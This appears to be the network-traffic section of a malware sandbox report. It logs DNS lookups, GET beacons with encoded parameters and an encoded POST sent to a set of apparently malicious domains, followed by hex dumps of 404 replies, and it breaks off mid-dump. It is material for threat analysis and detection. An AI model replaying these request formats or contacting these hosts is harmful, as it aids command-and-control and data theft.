Source: global traffic	HTTP traffic detected: GET /hxmz/?NjHpTfh=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H70ewIeMOmwh+ftSU1XmKvTSoNxNN/QLOdtg9qtYWOUm1ByQ==&1fo=GF14svyhH44dt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.futurevision.lifeConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /slxp/?NjHpTfh=QrWs1MGbYyQFoq3pAiasxQ0vJYE0z/vawTZeeI1i8tm8kxeN4mRaIZQqDmSre1AzN9sIeG+PxQ41EL+XqolOs9wYs5314wmawIeBCSIctWMwFCyIHUycaencn4NBaeE5ag==&1fo=GF14svyhH44dt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.schedulemassage.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /0598/?1fo=GF14svyhH44dt&NjHpTfh=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4dMSPmSyMXvFwuhBmNF6SR00f5xEMx0RhVmciiGarBUFx9Q== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mcfunding.orgConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /y3dc/?NjHpTfh=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tRERiLp2a4b9y8ndNk9xgL1b55xNz3Mr8JVSoFw+CxXG/tVnA==&1fo=GF14svyhH44dt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.migorengya8.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cNftXSlpvpmQYoxqRDgL404wqyKQKR0qu5cYpfr80+FdsRQ==&1fo=GF14svyhH44dt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.klohk.techConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /rqnz/?NjHpTfh=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5tZILeOOALNuMLpp3tbYRhrZPyWqW3RF19Jr1EDacfA/CTw==&1fo=GF14svyhH44dt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.d63dm.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /h26k/?1fo=GF14svyhH44dt&NjHpTfh=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcJ5+lxyBJff7SJaPEJKSXzAPLDFQjr1SUqUGQs1Ux+2nJpQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.servannto.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.huiguang.xyz
Source: global traffic	DNS traffic detected: DNS query: www.beingandbecoming.ltd
Source: global traffic	DNS traffic detected: DNS query: www.futurevision.life
Source: global traffic	DNS traffic detected: DNS query: www.schedulemassage.xyz
Source: global traffic	DNS traffic detected: DNS query: www.mcfunding.org
Source: global traffic	DNS traffic detected: DNS query: www.migorengya8.click
Source: global traffic	DNS traffic detected: DNS query: www.klohk.tech
Source: global traffic	DNS traffic detected: DNS query: www.d63dm.top
Source: global traffic	DNS traffic detected: DNS query: www.servannto.site
Source: global traffic	DNS traffic detected: DNS query: www.telforce.one

Source: unknown

HTTP traffic detected: POST /79tr/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.beingandbecoming.ltdConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 208Cache-Control: no-cacheOrigin: http://www.beingandbecoming.ltdReferer: http://www.beingandbecoming.ltd/79tr/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36Data Raw: 4e 6a 48 70 54 66 68 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 38 74 32 63 56 55 6e 67 47 33 6d 37 43 62 68 33 39 57 50 49 52 36 32 77 2f 55 6d 4b 62 45 69 66 76 6f 5a 79 59 4b 38 48 38 56 68 6f 79 69 64 59 31 63 49 68 64 4c 41 6c 75 57 30 54 69 38 6e 55 65 58 70 51 59 62 39 4e 38 78 39 63 4b 43 4a 74 4b 59 44 50 42 6b 32 63 4d 37 79 68 34 65 55 52 36 2b 71 37 74 32 42 52 4a 48 63 50 4c 63 2f 36 73 38 34 71 6c 41 34 77 4f 6d 73 67 30 43 4a 79 51 4f 4d 63 6e 38 55 52 4d 69 52 56 4d 4f 41 44 4b 30 5a 67 57 6f 7a 6c 61 4b 53 74 6c 59 6e 34 2b 68 78 36 30 64 79 6a 49 37 52 43 6b 71 33 4d 55 67 51 6e 6a 48 33 43 42 44 73 3d Data Ascii: NjHpTfh=iDQU2KTRHkQI8t2cVUngG3m7Cbh39WPIR62w/UmKbEifvoZyYK8H8VhoyidY1cIhdLAluW0Ti8nUeXpQYb9N8x9cKCJtKYDPBk2cM7yh4eUR6+q7t2BRJHcPLc/6s84qlA4wOmsg0CJyQOMcn8URMiRVMOADK0ZgWozlaKStlYn4+hx60dyjI7RCkq3MUgQnjH3CBDs=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 13:45:21 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 13:45:24 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 13:45:27 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 13:45:29 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Fri, 22 Nov 2024 13:46:06 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Fri, 22 Nov 2024 13:46:09 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Fri, 22 Nov 2024 13:46:11 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 